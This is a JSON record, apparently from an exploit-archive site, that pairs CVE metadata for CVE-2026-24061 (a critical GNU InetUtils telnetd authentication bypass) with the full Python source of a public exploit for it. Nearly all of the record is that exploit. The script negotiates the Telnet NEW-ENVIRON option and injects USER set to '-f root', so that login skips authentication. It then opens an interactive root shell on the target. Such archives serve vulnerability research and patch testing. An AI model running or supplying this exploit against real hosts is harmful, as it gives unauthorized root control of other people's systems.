{"exploit":{"id":"EDB-52524","name":"GNU InetUtils 2.6 - Telnetd Remote Privilege Escalation","description":"GNU InetUtils 2.6 - Telnetd Remote Privilege Escalation","cves":["CVE-2026-24061"],"author":"aliguliyev","published":"2026-04-29","platform":"linux","type":"remote","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52524","path":"exploits/linux/remote/52524.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52524.py","vulnerabilities":[{"id":"CVE-2026-24061","state":"PUBLISHED","title":null,"titleSource":null,"description":"telnetd in GNU Inetutils through 2.7 allows remote authentication bypass via a \"-f root\" value for the USER environment variable.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-24061","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"mitre","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-24061"},"updatedAt":"2026-09-29T19:43:14.235Z","retrievedAt":"2026-11-25T16:31:21.241Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52524.png?v=2","url":"https://exploitbin.com/exploits/EDB-52524","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52524/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52524/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: GNU InetUtils telnetd - Remote Privilege Escalation\n# Date: 2026-01-24\n# Exploit Author: Ali Guliyev (infat0x)\n# Author GitHub: https://github.com/infat0x\n# Vendor Homepage: https://www.gnu.org/software/inetutils/\n# Software Link: https://ftp.gnu.org/gnu/inetutils/\n# Version: GNU InetUtils 2.0 through 2.6\n# Tested on: Linux (various distributions using vulnerable inetutils-telnetd)\n# CVE : CVE-2026-24061\n\nimport socket\nimport sys\nimport threading\nimport argparse\nimport re\n\n\"\"\"\nDescription:\nThe telnetd implementation in GNU InetUtils before 2.7-2 is vulnerable to\nauthentication bypass via environment variable injection. By passing a\ncrafted USER environment variable (e.g., \"-f root\") during the Telnet\nNEW-ENVIRON subnegotiation, an attacker can force the login process\nto grant a root shell without requiring a password.\n\nTechnical Analysis:\nThe vulnerability exists because telnetd fails to sanitize the USER variable\nbefore passing it as an argument to /bin/login. By prepending the -f flag,\nthe login utility skips the authentication phase.\n\"\"\"\n\n# Telnet Protocol Constants (RFC 854)\nIAC  = 255  # Interpret As Command\nDONT = 254\nDO   = 253\nWONT = 252\nWILL = 251\nSB   = 250  # Subnegotiation Begin\nSE   = 240  # Subnegotiation End\n\n# Telnet Option Codes (RFC 1572)\nNEW_ENVIRON = 39\nIS    = 0\nVAR   = 0\nVALUE = 1\n\ndef handle_negotiation(sock, cmd, opt):\n    \"\"\"Responds to standard Telnet negotiation sequences.\"\"\"\n    if cmd == DO and opt == NEW_ENVIRON:\n        # Agreement to use the environment variable passing option\n        sock.sendall(bytes([IAC, WILL, NEW_ENVIRON]))\n    elif cmd == DO:\n        # Refuse other options for simplicity\n        sock.sendall(bytes([IAC, WONT, opt]))\n    elif cmd == WILL:\n        # Acknowledge the server's willingness\n        sock.sendall(bytes([IAC, DO, opt]))\n\ndef handle_subnegotiation(sock, sb_data, user_payload):\n    \"\"\"Executes the core exploit by injecting the malformed USER variable.\"\"\"\n    if len(sb_data) > 0 and sb_data[0] == NEW_ENVIRON:\n        # Format: IAC SB NEW_ENVIRON IS VAR \"USER\" VALUE \"-f root\" IAC SE\n        env_msg = (\n            bytes([IAC, SB, NEW_ENVIRON, IS, VAR]) +\n            b'USER' +\n            bytes([VALUE]) +\n            user_payload.encode('ascii') +\n            bytes([IAC, SE])\n        )\n        sock.sendall(env_msg)\n\ndef process_telnet_stream(data, sock, user_payload):\n    \"\"\"Parses incoming data to separate control signals from actual text.\"\"\"\n    clean_output = b''\n    i = 0\n    while i < len(data):\n        if data[i] == IAC and i + 1 < len(data):\n            cmd = data[i + 1]\n            if cmd in [DO, DONT, WILL, WONT] and i + 2 < len(data):\n                handle_negotiation(sock, cmd, data[i + 2])\n                i += 3\n            elif cmd == SB:\n                se_idx = i + 2\n                while se_idx < len(data) - 1:\n                    if data[se_idx] == IAC and data[se_idx + 1] == SE:\n                        break\n                    se_idx += 1\n                if se_idx < len(data) - 1:\n                    handle_subnegotiation(sock, data[i + 2:se_idx], user_payload)\n                    i = se_idx + 2\n                else:\n                    i += 1\n            else:\n                i += 2\n        else:\n            clean_output += bytes([data[i]])\n            i += 1\n\n    # Filter ANSI escape sequences for a cleaner shell experience\n    ansi_escape = re.compile(rb'\\x1b\\[[0-?]*[ -/]*[@-~]')\n    return ansi_escape.sub(b'', clean_output)\n\ndef socket_reader_thread(sock, user_payload):\n    \"\"\"Background thread to handle server output.\"\"\"\n    try:\n        while True:\n            raw_data = sock.recv(4096)\n            if not raw_data:\n                break\n            display_data = process_telnet_stream(raw_data, sock, user_payload)\n            if display_data:\n                sys.stdout.buffer.write(display_data)\n                sys.stdout.buffer.flush()\n    except (ConnectionResetError, BrokenPipeError):\n        pass\n    finally:\n        print(\"\\n[*] Connection closed.\")\n\ndef main():\n    parser = argparse.ArgumentParser(description=\"CVE-2026-24061 Exploitation Tool\")\n    parser.add_argument('host', help=\"Target IP address\")\n    parser.add_argument('-p', '--port', type=int, default=23, help=\"Telnet port (default 23)\")\n    args = parser.parse_args()\n\n    # The exploit payload to bypass login\n    user_payload = \"-f root\"\n\n    try:\n        client_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        client_sock.settimeout(5)\n        client_sock.connect((args.host, args.port))\n        client_sock.settimeout(None)\n        print(f\"[*] Connected to {args.host}:{args.port}\")\n        print(f\"[*] Sending payload: {user_payload}\")\n    except Exception as e:\n        print(f\"[!] Connection failed: {e}\")\n        sys.exit(1)\n\n    # Launch output listener\n    threading.Thread(target=socket_reader_thread, args=(client_sock, user_payload), daemon=True).start()\n\n    print(\"[*] Interactive session started. Type commands below.\\n\")\n    try:\n        while True:\n            # Simple interactive shell loop\n            char = sys.stdin.read(1)\n            if not char:\n                break\n            client_sock.sendall(char.encode())\n    except KeyboardInterrupt:\n        print(\"\\n[*] Exploit session terminated by user.\")\n    finally:\n        client_sock.close()\n\nif __name__ == \"__main__\":\n    main()","sha256":"faa340277d5be93ae3dbcbc552c8ab23603a89dcdbef1e424dc89259cafaaf81","bytes":5369,"fetchedAt":"2026-11-26T11:17:30.233Z","encoding":"utf-8 (display only; download retains original bytes)"}